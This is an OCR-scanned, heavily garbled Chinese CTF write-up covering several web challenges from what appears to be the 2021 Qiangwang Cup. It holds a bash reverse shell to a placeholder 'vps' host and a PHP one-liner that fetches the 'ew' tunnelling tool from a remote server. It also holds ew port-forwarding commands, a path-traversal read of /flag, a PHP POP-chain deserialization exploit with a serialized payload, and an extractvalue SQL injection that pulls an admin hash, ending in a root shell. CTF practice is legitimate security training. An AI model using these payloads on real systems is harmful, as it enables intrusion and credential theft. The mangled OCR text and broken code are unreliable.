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Hard_Penetration
BHAZE: BEWLEZEUXRRRE, X—Kk, HREFKRI4RBRIE.
BIE R — A shirok FFI4k, MIA#REITE, 34 shell:

bash -c 'bash -i >/dev/tcp/vps/port 2>&10>&1"'
WEBKERA:
M 800534 K174 f~apache, &84T 7 —/~cms

Bl EHphp. python&iEFF

flag 7t & root A% B B AT 132

php_Lf&ew:

php -r "file_put_contents('ew',file_get_contents('http://xps/ew_linux_x64"'));"

R


https://ctf.ichunqiu.com/2021qwb

./ew_linux_x64 -s lcx_listen -1 18888 -e 18889
./ew -s lcx_slave -d vps -e 18889 -f 127.0.0.1 -g 8005

+WX :machinegunjoe6664: % IREUE £

& k£ flag:

/wap/common/show?templateFile=../../../../../../flag

pop_master
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<?php

include "class.php";

$o
$b

new cdKBgX();
"phpinfo();//";

$0->IG2X7eS = new guAeBO;

$0->IG2X7eS->LToow0s = new MZ2dMV;

$0->IG2X7eS->LTolwOs ->WU6aUWm = new nXKQYP;

$0->IG2X7eS->LToowOs - >WU6aUWm- >mGpVYwd = new r6lSwy;

$0->IG2X7eS->LToPwOs - >WU6aUWm- >mGpVYwd->gq6VMPac = new UWSvkV;
$0->IG2X7eS->LTowOs - >WU6aUWm- >mGpVYwd- >q6VMPac->X1ZSk2f = new DqoC5G;
$0->IG2X7eS->LTolwOs - >WU6aUWm- >mGpVYwd - >q6VMPac->X1ZSk2f->qd1Gk6X = new TBFTL7;
$0->IG2X7eS->LToPwOs - >WU6aUWm- >mGpVYwd - >q6VMPac- >X1ZSk2f->qd1Gk6X->z2gMn5H = new qoEd8u;
$0->IG2X7eS->LToewOs - >WU6aUWm- >mGpVYwd - >q6VMPac->X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX = new fFEGgM;
$0->IG2X7eS->LTowOs - >WU6aUWm- >mGpVYwd - >q6VMPac->X1ZSk2f->qd1Gk6X->z2qMn5H->BmsS1eX->UXVXFLL = new rn4PNR;
$0->IG2X7eS->LTolwOs - >WU6aUWm- >mGpVYwd - >q6VMPac - >X1ZSk2f->qd1Gk6X->z2qMn5H- >BmsS1eX->UXVXFLL->TdVPKPS = new
$0->IG2X7eS->LToPwOs - >WU6aUWm- >mGpVYwd - >q6VMPac - >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->uXVXFLL->TdVPKPS - >k6WT
$0->IG2X7eS->LToPwOs - >WU6aUWm- >mGpVYwd - >q6VMPac- >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->uXVXFLL->TdVPKPS - >k6WT
$0->IG2X7eS->LToPwOs - >WU6aUWm- >mGpVYwd - >q6VMPac - >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->uXVXFLL->TdVPKPS - >k6WT
$0->IG2X7eS->LToPwOs - >WU6aUWm- >mGpVYwd - >q6VMPac- >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->uXVXFLL->TdVPKPS - >k6WT
$0->IG2X7eS->LToPwOs - >WU6aUWm- >mGpVYwd - >q6VMPac- >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->UXVXFLL->TdVPKPS - >k6WT
$0->IG2X7eS->LToPwOs - >WU6aUWm- >mGpVYwd - >q6VMPac- >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->uXVXFLL->TdVPKPS - >k6WT
$0->IG2X7eS->LToPwOs - >WU6aUWm- >mGpVYwd - >q6VMPac- >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->uXVXFLL->TdVPKPS - >k6WT
$0->IG2X7eS->LToPwOs - >WU6aUWm- >mGpVYwd - >q6VMPac- >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->uXVXFLL->TdVPKPS - >k6WT
$0->IG2X7eS->LTowOs - >WU6aUWm- >mGpVYwd - >q6VMPac - >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->uXVXFLL->TdVPKPS - >k6WT
$0->IG2X7eS->LTowOs - >WU6aUWm- >mGpVYwd - >q6VMPac - >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->uXVXFLL->TdVPKPS - >k6WT
$0->IG2X7eS->LToewOs - >WU6aUWm- >mGpVYwd - >q6VMPac - >X1ZSk2f->qd1Gk6X->z2gMn5H->BmsS1eX->uXVXFLL->TdVPKPS - >k6WT

+WX:machinegunjoe6664: % 3REUE £t

echo serialize($0);

Exp:

http://eci-2zeir91lncwgmfgk2txz6.cloudecil.ichunqiu.com/?pop=0:6:"cdKBgX":1:
{s:7:"IG2X7eS";0:6:"guAeBO":1:{s:7:"LToOw0s";0:6:"MZ2dMV" :1:{s:7:"WU6aUWmM";0:6:"nXKQYP":1:{s:7:"mGpVYwd" ;0:
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I think you need /etc/hint . Before this you need to see the source code

FIEWWW.Zip
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<?php

class Start

{
public $name="guest';
public $flag="";

}

class Info

{

public $promise="I do';
public $file=[];

}+WX:machinegunjoe6664 $ FREUH K

class Room

{
public $filename="'/flag"';
public $sth_to_set;
public $a="";

}
$s=new Start();

$i=new Info();

$r=new Room();

$ri=new Room();
$s->name=%$i;
$i->file["filename" ]=$%r;
$r->a=$ri;
$ri->filename="/flag";
print(serialize($s));

?>

¥ EHA KRN TR S, £ A\hello, BIR{3hi+flagifibase644mfid, f#H%ED ] 15flag

/?hello=0:5:"Start":2:{s:4:"name";0:4:"Info":2:{s:7:"promise";s:4:"Ido";s:4:"file";a:1:{s:8:"filename";0:4:

“ C & FEE| ed-20eTe2wB1 pbhird doudedi Lichungu.comyThello = 05 "Start”
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@ login X @ 4710413646 x + (]
&< - C A F%&£| 47.104.13646 aQ % » &
FileName Date
WWW.ZIp 5/31/2021, 9:12:44 PM
exp.py 5/31/2021, 9:11:27 PM
hint.txt 5/31/2021, 9:10:29 PM

HBTE: hitp://47.104.136.46/files/Z Fhint:

Try to scan 35000-40000 "~ _*.

All tables are empty except for the table where theusername and password are located
Table: employee

H i O7E36842,

R

<!-- table: employee -->

T8, HERBEANDFG:

password=admin&username=admin'orl=extractvalue(1,concat(0x7e,mid((select password from employee),16)))#

admin/99f609527226e076d668668582ac4420

v B A AMile#t 4z, FEXMH Lk, Rigs— Tk

-t
18400100900 4040 " wp head / EETEERENE NN AR N R

5 shell & ps -efE 213 A 4Mjboss, 80063 .



KIHR ZEewH Kk, KARANRNAM, HEEEMN LARKNE—ER:

Failed to check for updates
uid=@(root) gid=@(root) groups=@(_root)

Shell> cat /flag
flag{V3ry_v3rY_E3si_a_w3B_Ch®1l1l3ng3}
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